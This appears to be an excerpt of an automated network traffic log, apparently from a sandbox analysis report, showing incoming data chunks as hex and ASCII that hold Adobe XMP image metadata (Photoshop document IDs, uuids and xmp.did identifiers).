2022-07-20 07:08:24 UTC	2969	IN	Data Raw: 43 37 41 36 44 44 36 35 46 31 42 37 37 39 45 30 37 44 38 34 39 38 39 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 35 41 30 39 37 41 41 34 34 32 37 35 42 36 34 41 45 31 36 38 35 43 33 42 46 34 34 34 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 35 44 38 33 42 41 46 33 37 37 37 43 36 34 37 33 31 34 43 33 39 36 37 41 30 45 43 44 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 36 41 34 43 42 34 38 37 30 32 45 31 44 30 32 32 35 36 31 38 36 34 44 41 33 44 38 31 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 37 42 45 36 39 45 33 37 36 44 43 45 46 31 30 36 43 44 36 31 35 33 38 37 41 37 32 35 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 39 41 36 35 45 42 37 36 45 39 Data Ascii: C7A6DD65F1B779E07D84989B2</rdf:li> <rdf:li>FB5A097AA44275B64AE1685C3BF4441C</rdf:li> <rdf:li>FB5D83BAF3777C647314C3967A0ECDD2</rdf:li> <rdf:li>FB6A4CB48702E1D022561864DA3D81AA</rdf:li> <rdf:li>FB7BE69E376DCEF106CD615387A725F2</rdf:li> <rdf:li>FB9A65EB76E9
2022-07-20 07:08:24 UTC	3001	IN	Data Raw: 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 ff e1 ff c5 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 6d 70 2f 65 78 74 65 6e 73 69 6f 6e 2f 00 31 38 37 32 30 39 33 37 41 38 33 33 36 43 33 43 41 44 33 35 32 34 30 32 37 41 45 32 42 32 44 36 00 11 92 3e 00 09 fa b0 68 6f 74 6f 73 68 6f 70 3a 31 66 39 37 64 34 35 33 2d 33 66 35 62 2d 31 31 64 61 2d 62 36 64 31 2d 64 66 66 65 39 65 36 32 34 34 63 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 66 64 65 62 34 37 62 2d 64 64 33 61 2d 31 31 37 38 2d 61 32 30 64 2d 61 66 32 65 66 39 63 31 39 37 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 66 Data Ascii: adobe:docid:phttp://ns.adobe.com/xmp/extension/18720937A8336C3CAD3524027AE2B2D6>hotoshop:1f97d453-3f5b-11da-b6d1-dffe9e6244c1</rdf:li> <rdf:li>adobe:docid:photoshop:1fdeb47b-dd3a-1178-a20d-af2ef9c197df</rdf:li> <rdf:li>adobe:docid:photoshop:1f
2022-07-20 07:08:24 UTC	3009	IN	Data Raw: 2d 63 31 34 63 34 63 35 37 65 31 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 36 62 65 36 31 39 61 2d 32 36 62 37 2d 31 31 37 38 2d 61 37 33 36 2d 39 66 35 31 37 33 63 37 32 36 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 36 64 39 64 38 39 35 2d 37 61 66 36 2d 31 31 64 61 2d 62 30 36 33 2d 61 35 30 38 37 61 34 35 31 61 65 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 36 65 64 34 32 61 32 2d 62 36 62 30 2d 31 31 65 31 2d 62 36 61 36 2d 64 32 65 36 37 34 30 63 33 37 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: -c14c4c57e145</rdf:li> <rdf:li>adobe:docid:photoshop:36be619a-26b7-1178-a736-9f5173c7262d</rdf:li> <rdf:li>adobe:docid:photoshop:36d9d895-7af6-11da-b063-a5087a451ae2</rdf:li> <rdf:li>adobe:docid:photoshop:36ed42a2-b6b0-11e1-b6a6-d2e6740c37af</rdf:li> <rdf
2022-07-20 07:08:24 UTC	3025	IN	Data Raw: 68 6f 74 6f 73 68 6f 70 3a 35 66 66 63 65 34 61 61 2d 31 38 64 32 2d 65 37 34 62 2d 62 33 32 61 2d 65 38 34 64 36 65 32 34 62 37 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 30 32 61 33 38 35 61 2d 32 65 37 64 2d 31 31 37 38 2d 39 66 35 30 2d 64 30 63 61 30 39 34 32 63 37 63 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 30 34 63 66 32 33 37 2d 62 36 61 65 2d 31 31 65 31 2d 62 36 61 36 2d 64 32 65 36 37 34 30 63 33 37 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 30 35 64 65 64 30 63 2d 32 30 63 35 2d 31 31 65 37 Data Ascii: hotoshop:5ffce4aa-18d2-e74b-b32a-e84d6e24b748</rdf:li> <rdf:li>adobe:docid:photoshop:602a385a-2e7d-1178-9f50-d0ca0942c7ca</rdf:li> <rdf:li>adobe:docid:photoshop:604cf237-b6ae-11e1-b6a6-d2e6740c37af</rdf:li> <rdf:li>adobe:docid:photoshop:605ded0c-20c5-11e7
2022-07-20 07:08:25 UTC	5120	IN	Data Raw: 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 38 35 66 65 37 30 31 2d 63 64 39 39 2d 31 31 64 37 2d 39 63 33 32 2d 62 37 30 63 65 35 34 38 33 65 33 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 38 37 37 64 39 33 30 2d 65 39 33 64 2d 31 31 65 34 2d 62 66 36 38 2d 65 62 38 32 62 64 35 63 39 61 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 38 63 64 32 37 32 37 2d 63 31 33 35 2d 31 31 65 35 2d 39 61 35 66 2d 65 32 64 66 36 36 62 32 30 38 35 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f Data Ascii: 5</rdf:li> <rdf:li>adobe:docid:photoshop:885fe701-cd99-11d7-9c32-b70ce5483e3c</rdf:li> <rdf:li>adobe:docid:photoshop:8877d930-e93d-11e4-bf68-eb82bd5c9a95</rdf:li> <rdf:li>adobe:docid:photoshop:88cd2727-c135-11e5-9a5f-e2df66b2085c</rdf:li> <rdf:li>adobe:do
2022-07-20 07:08:25 UTC	5128	IN	Data Raw: 34 2d 37 65 32 62 2d 31 31 65 31 2d 38 38 65 34 2d 62 33 35 34 30 32 64 36 64 61 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 32 62 30 63 62 65 66 2d 66 35 66 63 2d 31 31 37 38 2d 39 65 63 39 2d 62 66 33 32 34 64 64 65 35 66 64 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 32 63 61 65 66 63 65 2d 66 38 66 65 2d 31 31 37 38 2d 39 65 63 39 2d 62 66 33 32 34 64 64 65 35 66 64 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 33 35 61 35 63 62 32 2d 32 34 61 34 2d 31 31 64 62 2d 38 61 66 38 2d 66 39 34 30 61 38 33 30 38 61 Data Ascii: 4-7e2b-11e1-88e4-b35402d6da16</rdf:li> <rdf:li>adobe:docid:photoshop:a2b0cbef-f5fc-1178-9ec9-bf324dde5fd6</rdf:li> <rdf:li>adobe:docid:photoshop:a2caefce-f8fe-1178-9ec9-bf324dde5fd6</rdf:li> <rdf:li>adobe:docid:photoshop:a35a5cb2-24a4-11db-8af8-f940a8308a
2022-07-20 07:08:25 UTC	5144	IN	Data Raw: 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 32 39 64 30 62 35 63 2d 62 33 36 33 2d 31 31 65 37 2d 61 61 66 64 2d 61 66 36 33 33 30 64 34 35 34 65 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 32 61 36 62 61 35 65 2d 61 61 65 39 2d 31 31 64 65 2d 39 32 30 35 2d 64 31 32 63 62 34 34 63 32 64 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 33 31 31 36 33 36 37 2d 32 36 36 35 2d 31 31 37 38 2d 61 37 33 36 2d 39 66 35 31 37 33 63 37 32 36 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 33 Data Ascii: li>adobe:docid:photoshop:d29d0b5c-b363-11e7-aafd-af6330d454ed</rdf:li> <rdf:li>adobe:docid:photoshop:d2a6ba5e-aae9-11de-9205-d12cb44c2d18</rdf:li> <rdf:li>adobe:docid:photoshop:d3116367-2665-1178-a736-9f5173c7262d</rdf:li> <rdf:li>adobe:docid:photoshop:d3
2022-07-20 07:08:25 UTC	5160	IN	Data Raw: 65 35 2d 39 37 31 36 2d 39 38 64 64 35 36 64 32 66 63 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 62 64 32 61 35 36 39 2d 36 34 64 62 2d 31 31 65 37 2d 39 61 37 36 2d 64 32 38 34 64 39 66 34 33 66 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 62 65 30 64 32 32 36 2d 38 33 36 64 2d 31 31 64 63 2d 62 62 63 36 2d 66 66 32 38 38 34 64 31 35 32 66 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 63 30 39 62 33 38 66 2d 63 64 66 38 2d 31 31 37 39 2d 38 65 39 63 2d 61 34 65 38 34 66 30 31 63 31 38 35 3c 2f 72 64 66 3a 6c Data Ascii: e5-9716-98dd56d2fc05</rdf:li> <rdf:li>adobe:docid:photoshop:fbd2a569-64db-11e7-9a76-d284d9f43f45</rdf:li> <rdf:li>adobe:docid:photoshop:fbe0d226-836d-11dc-bbc6-ff2884d152fe</rdf:li> <rdf:li>adobe:docid:photoshop:fc09b38f-cdf8-1179-8e9c-a4e84f01c185</rdf:l
2022-07-20 07:08:25 UTC	5168	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 35 42 36 43 38 35 36 33 42 33 41 45 32 31 31 41 30 39 31 41 38 34 32 37 42 45 35 33 30 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 35 46 37 46 46 41 34 33 35 41 45 31 31 44 45 41 43 35 36 44 43 46 33 34 41 33 44 30 30 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 36 33 44 32 45 45 30 37 45 46 43 31 31 44 41 42 34 46 30 43 32 38 41 30 42 44 44 44 31 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 36 34 31 43 41 35 45 46 37 30 34 45 30 31 31 41 33 37 34 38 41 37 41 43 41 36 33 43 35 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 36 34 46 46 36 36 31 30 46 35 32 45 30 31 31 42 39 38 33 Data Ascii: > <rdf:li>uuid:15B6C8563B3AE211A091A8427BE530AB</rdf:li> <rdf:li>uuid:15F7FFA435AE11DEAC56DCF34A3D00FF</rdf:li> <rdf:li>uuid:163D2EE07EFC11DAB4F0C28A0BDDD13D</rdf:li> <rdf:li>uuid:1641CA5EF704E011A3748A7ACA63C5AB</rdf:li> <rdf:li>uuid:164FF6610F52E011B983
2022-07-20 07:08:25 UTC	5184	IN	Data Raw: 30 41 43 42 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 44 38 36 39 44 46 44 38 34 39 33 31 31 44 43 39 46 37 41 42 31 33 41 42 42 45 46 43 34 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 44 43 36 39 46 45 33 31 31 41 36 44 46 31 31 41 44 31 38 38 30 31 39 34 39 42 45 43 42 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 44 43 45 36 44 46 41 37 46 41 32 31 31 44 41 41 45 42 37 42 30 31 36 32 36 36 31 41 36 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 44 46 31 45 35 46 39 41 34 35 34 45 31 31 31 41 38 42 36 46 43 42 36 44 37 30 31 44 46 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 44 46 32 31 46 Data Ascii: 0ACB71</rdf:li> <rdf:li>uuid:4D869DFD849311DC9F7AB13ABBEFC455</rdf:li> <rdf:li>uuid:4DC69FE311A6DF11AD18801949BECB5D</rdf:li> <rdf:li>uuid:4DCE6DFA7FA211DAAEB7B0162661A619</rdf:li> <rdf:li>uuid:4DF1E5F9A454E111A8B6FCB6D701DF5A</rdf:li> <rdf:li>uuid:4DF21F
2022-07-20 07:08:25 UTC	5200	IN	Data Raw: 3a 37 44 31 43 33 32 36 44 41 44 45 31 44 45 31 31 41 44 45 34 45 42 46 39 37 35 45 32 37 30 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 44 32 32 41 37 37 42 39 33 33 31 31 31 44 43 41 43 30 38 44 42 42 45 44 31 42 45 37 34 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 44 35 32 33 46 44 37 43 42 37 31 44 43 31 31 39 44 42 34 42 36 45 46 36 41 38 32 45 31 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 44 42 33 42 39 42 34 35 38 34 33 44 46 31 31 42 35 34 31 45 43 35 34 46 33 33 32 44 42 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 44 44 32 44 38 37 43 46 32 36 44 44 44 31 31 39 38 32 35 43 46 33 39 34 44 38 46 39 37 32 42 3c 2f Data Ascii: :7D1C326DADE1DE11ADE4EBF975E27012</rdf:li> <rdf:li>uuid:7D22A77B933111DCAC08DBBED1BE7447</rdf:li> <rdf:li>uuid:7D523FD7CB71DC119DB4B6EF6A82E1BD</rdf:li> <rdf:li>uuid:7DB3B9B45843DF11B541EC54F332DBE2</rdf:li> <rdf:li>uuid:7DD2D87CF26DDD119825CF394D8F972B</
2022-07-20 07:08:25 UTC	5207	IN	Data Raw: 32 44 39 38 36 39 46 43 44 42 38 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 35 32 41 33 33 32 34 37 42 37 34 44 45 31 31 42 42 41 31 39 45 35 41 45 45 39 31 39 43 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 35 32 43 45 34 39 37 33 39 31 42 44 41 31 31 39 42 32 46 38 46 42 42 30 44 30 39 33 42 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 35 34 36 30 31 34 41 39 34 41 34 44 45 31 31 41 31 31 45 42 36 31 43 38 46 46 42 36 37 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 35 43 46 46 39 33 46 36 43 43 45 44 46 31 31 41 37 36 42 39 32 34 33 36 42 33 42 44 39 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 Data Ascii: 2D9869FCDB80A</rdf:li> <rdf:li>uuid:952A33247B74DE11BBA19E5AEE919C47</rdf:li> <rdf:li>uuid:952CE497391BDA119B2F8FBB0D093B4E</rdf:li> <rdf:li>uuid:9546014A94A4DE11A11EB61C8FFB676C</rdf:li> <rdf:li>uuid:95CFF93F6CCEDF11A76B92436B3BD9BD</rdf:li> <rdf:li>uuid
2022-07-20 07:08:25 UTC	5223	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 45 41 37 38 41 44 46 33 31 41 34 44 45 31 31 41 45 35 33 46 43 41 32 42 35 34 43 31 45 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 45 45 42 42 35 43 43 33 34 38 44 44 43 31 31 39 31 34 38 39 36 32 37 43 45 34 33 33 42 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 46 32 37 32 39 46 37 32 44 34 36 44 46 31 31 42 35 34 34 43 41 38 45 43 43 31 31 38 31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 46 33 33 33 32 33 37 46 33 41 37 31 31 44 44 42 32 32 41 45 43 42 44 32 46 33 34 37 39 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 46 34 46 39 32 43 36 37 33 42 45 44 45 31 31 41 43 42 45 45 Data Ascii: <rdf:li>uuid:CEA78ADF31A4DE11AE53FCA2B54C1EA2</rdf:li> <rdf:li>uuid:CEEBB5CC348DDC1191489627CE433B2D</rdf:li> <rdf:li>uuid:CF2729F72D46DF11B544CA8ECC118138</rdf:li> <rdf:li>uuid:CF333237F3A711DDB22AECBD2F347903</rdf:li> <rdf:li>uuid:CF4F92C673BEDE11ACBEE
2022-07-20 07:08:25 UTC	5239	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 31 43 39 45 30 35 36 33 42 39 34 32 38 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 41 37 41 33 31 39 31 35 30 39 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 44 32 38 41 36 31 33 31 39 42 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 46 42 32 38 37 36 35 45 45 31 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a Data Ascii: df:li> <rdf:li>xmp.did:018011740720681181C9E0563B9428A1</rdf:li> <rdf:li>xmp.did:0180117407206811822AA7A319150968</rdf:li> <rdf:li>xmp.did:0180117407206811822AD28A61319BAF</rdf:li> <rdf:li>xmp.did:0180117407206811822AFB28765EE1B7</rdf:li> <rdf:li>xmp.did:
2022-07-20 07:08:25 UTC	5247	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 31 31 36 41 43 37 43 44 39 35 33 44 41 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 31 38 44 43 46 37 35 46 43 37 37 31 38 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 31 41 34 38 31 31 37 33 46 33 42 32 30 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 31 41 34 43 37 45 41 45 32 31 37 35 42 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 Data Ascii: <rdf:li>xmp.did:0180117407206811B116AC7CD953DADF</rdf:li> <rdf:li>xmp.did:0180117407206811B18DCF75FC771844</rdf:li> <rdf:li>xmp.did:0180117407206811B1A481173F3B2091</rdf:li> <rdf:li>xmp.did:0180117407206811B1A4C7EAE2175B53</rdf:li> <rdf:li>xmp.did:018011
2022-07-20 07:08:25 UTC	5263	IN	Data Raw: 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 46 43 35 42 39 42 34 35 36 46 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 38 33 33 39 34 35 43 34 37 35 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 42 30 33 44 32 42 37 38 43 46 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 43 36 33 44 43 43 30 38 33 36 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 45 37 41 36 41 32 Data Ascii: 5801174072068119109FC5B9B456F9A</rdf:li> <rdf:li>xmp.did:058011740720681192B0833945C47597</rdf:li> <rdf:li>xmp.did:058011740720681192B0B03D2B78CFDD</rdf:li> <rdf:li>xmp.did:058011740720681192B0C63DCC0836E2</rdf:li> <rdf:li>xmp.did:058011740720681192E7A6A2
2022-07-20 07:08:25 UTC	5279	IN	Data Raw: 30 37 32 30 36 38 31 31 41 42 30 38 45 36 46 39 33 33 35 30 32 34 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 41 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 43 31 37 38 30 46 35 37 45 33 36 38 37 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 41 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 46 44 36 42 35 46 30 33 46 41 45 30 33 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 32 33 38 38 33 45 34 32 32 30 36 38 31 31 39 31 30 39 43 32 46 31 35 41 43 46 38 30 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 32 37 45 37 43 33 31 36 32 30 36 38 31 31 41 46 35 32 46 35 42 33 31 37 36 35 42 46 41 Data Ascii: 07206811AB08E6F9335024B2</rdf:li> <rdf:li>xmp.did:0A80117407206811AC1780F57E36873D</rdf:li> <rdf:li>xmp.did:0A80117407206811BFD6B5F03FAE0379</rdf:li> <rdf:li>xmp.did:0B23883E422068119109C2F15ACF8053</rdf:li> <rdf:li>xmp.did:0B27E7C316206811AF52F5B31765BFA
2022-07-20 07:08:25 UTC	5287	IN	Data Raw: 42 36 44 38 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 32 34 35 39 46 44 30 34 35 32 30 36 38 31 31 39 31 30 39 44 34 38 39 32 46 39 36 43 41 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 32 35 39 41 42 37 46 30 39 32 30 36 38 31 31 39 35 46 45 38 41 37 43 39 38 43 31 33 38 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 32 37 30 43 41 42 42 30 37 32 30 36 38 31 31 39 31 30 39 46 42 41 31 36 33 39 44 30 37 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 32 38 31 36 36 33 37 2d 66 34 35 65 2d 34 33 38 62 2d 61 62 37 61 2d 61 35 63 65 30 38 36 61 34 36 64 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: B6D87C</rdf:li> <rdf:li>xmp.did:12459FD0452068119109D4892F96CAFD</rdf:li> <rdf:li>xmp.did:1259AB7F0920681195FE8A7C98C1382D</rdf:li> <rdf:li>xmp.did:1270CABB072068119109FBA1639D0798</rdf:li> <rdf:li>xmp.did:12816637-f45e-438b-ab7a-a5ce086a46dc</rdf:li> <rd
2022-07-20 07:08:25 UTC	5303	IN	Data Raw: 37 34 46 43 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 31 36 30 42 46 44 30 32 35 36 34 45 31 31 31 39 33 38 38 42 35 30 38 43 37 37 38 34 39 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 31 36 32 62 64 34 31 2d 61 35 63 37 2d 34 32 62 64 2d 61 31 34 35 2d 61 66 32 36 66 35 66 39 63 63 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 31 36 35 33 34 37 37 2d 38 34 63 66 2d 34 34 62 61 2d 61 62 31 37 2d 32 37 30 31 36 34 34 66 39 34 66 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 31 37 41 36 36 38 39 34 41 32 30 36 38 31 31 38 32 32 41 46 44 41 35 36 35 38 46 31 31 35 44 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: 74FC64</rdf:li> <rdf:li>xmp.did:2160BFD02564E1119388B508C7784939</rdf:li> <rdf:li>xmp.did:2162bd41-a5c7-42bd-a145-af26f5f9cc41</rdf:li> <rdf:li>xmp.did:21653477-84cf-44ba-ab17-2701644f94fe</rdf:li> <rdf:li>xmp.did:217A66894A206811822AFDA5658F115D</rdf:li>
